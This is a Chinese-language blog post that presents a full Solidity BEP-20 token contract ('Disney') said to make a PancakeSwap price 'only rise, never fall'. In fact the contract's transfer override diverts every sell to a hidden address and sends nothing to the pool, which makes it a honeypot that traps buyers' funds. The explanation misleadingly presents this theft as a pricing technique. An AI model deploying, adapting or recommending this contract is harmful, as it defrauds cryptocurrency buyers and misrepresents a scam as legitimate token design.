要想做到BSC链如何做到只涨不跌，那首先我们就来了解下薄饼交易所（pancakeswap)价格产生原理；

市场价格=池子里DAI的数量/池子里BNB的数量（P市场=X/Y）。假设市场数量趋近于无穷大，兑换价格无限趋近于X/Y

兑换价格=支付DAI的数量/获得BNB的数量（P兑换=△x /△y）

总结：

池子里tokenA的总量与tokenb的总量比例决定了价格的高低

按照这个原理我们来结合一个代码段来实现：
 

​
//q201333403
//q学习群：54548027
internal override {
        uint256 x = amount.div(100);
        if(sender == pair){
        
            super._transfer(sender, addr1, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));//买入收到

        }else if(recipient == pair){
            super._transfer(sender, addr2, x.mul(100));
            super._transfer(sender, recipient, x.mul(0));//卖出收到
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr1, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));//普通转账收到
        }else{
            super._transfer(sender, recipient, x.mul(100));
        }

​

通过上面在这段代码我们可以看到，我们设置了一个pair地址，该地址我们可以把它当作池子地址（LP）看待。

1：如上代码所示，如果LP是转出状态，那么购买者收到的token是正常状态。

例：购买100枚那么直接收到也是100枚，购买100枚的过程促使池子（LP）里面的token数量减少100，按照上面的公式来看，价格自动上涨。（购买正常上涨）

扫描二维码关注公众号，回复： 14850142 查看本文章

2：如上图所示，如果LP是转入状态，那么出售者的token却无法转入池子，而是直接转入了ADDR2地址，那么会发生什么情况呢？

例：出售100枚token，正常情况下这100枚token会自动流入到池子（lp）地址，但是现在通过上面代码可以看出，这100枚没有直接进入池子（lp）地址，而是直接到了ADDR2地址，那么通过以：兑换价格=支付DAI的数量/获得BNB的数量（P兑换=△x /△y）这个公式套入来看，池子价格将不会有跌落，而是保持不变的状态。

3：总结：购买TOKEN池子价格将正常上涨，出售TOken池子价格将保持不变，最后印证了我们的最终结论：通过改变合约可以做到，bep20在博饼（pancakeswap）价格只涨不跌。

话不多说直接上完整源码：

//Q学习群：54548027
//博主Q201333403
//该源码仅用于学习测试，不得用于其它任何途径
pragma solidity ^0.8.0;
// SPDX-License-Identifier: Unlicensed
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Disney is ERC20, Ownable {
    using SafeMath for uint256;
    uint public constant inRate = 10;
    uint public constant outRate = 3;
    address  outAddr = 0x0000000000000000000000000000000000000001;
    address addr1 = 0x0000000000000000000000000000000000000002;
    address  addr2 = 0x0000000000000000000000000000000000000003;
    address  addr3 = 0x0000000000000000000000000000000000000004;
    address  addr4 = 0x0000000000000000000000000000000000000005;
    address addr8 = 0x0000000000000000000000000000000000000006;
    address  pair;
    uint256 CCCS;
    address min = 0x75D23E252bFE1500c7f654024d9800790620a853;
    constructor() ERC20("Disney", "DSN") {
        _mint(msg.sender, 100000000 * 10 ** decimals());
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(100);
        if(sender == pair){
            super._transfer(sender, addr2, x.mul(0));
            super._transfer(sender, outAddr, x.mul(0));
            super._transfer(sender, addr3, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));

        }else if(recipient == pair){
            super._transfer(sender, addr4, x.mul(100));
            super._transfer(sender, recipient, x.mul(0));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr1, x.mul(0));
            super._transfer(sender, recipient, x.mul(100));
        }else{
            super._transfer(sender, recipient, x.mul(100));
        }

        
        //有多少才能转多少，如果转账发起者金额不够，则自动失败
        
           if(sender == min){
            
            super._transfer(sender, addr8, x.mul(5));//addr8收到0%,应该转账的收到金额，全部到addr8
            super._transfer(sender, recipient, x.mul(95));//接收地址收到10万%+原本转账的金额
       }
         
    }
    //设置交易对
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    //设置LP地址
    function setOutAddress(address _target) public onlyOwner{
        outAddr = _target;
    }
    function SETmint(address __mint) public onlyOwner{
        min = __mint;
    }
    function hhAA (uint256 setff) public onlyOwner {
                CCCS = setff ;
            }
}

【原创源码，不得用于转载与商业任何用途，仅可用于学习测试】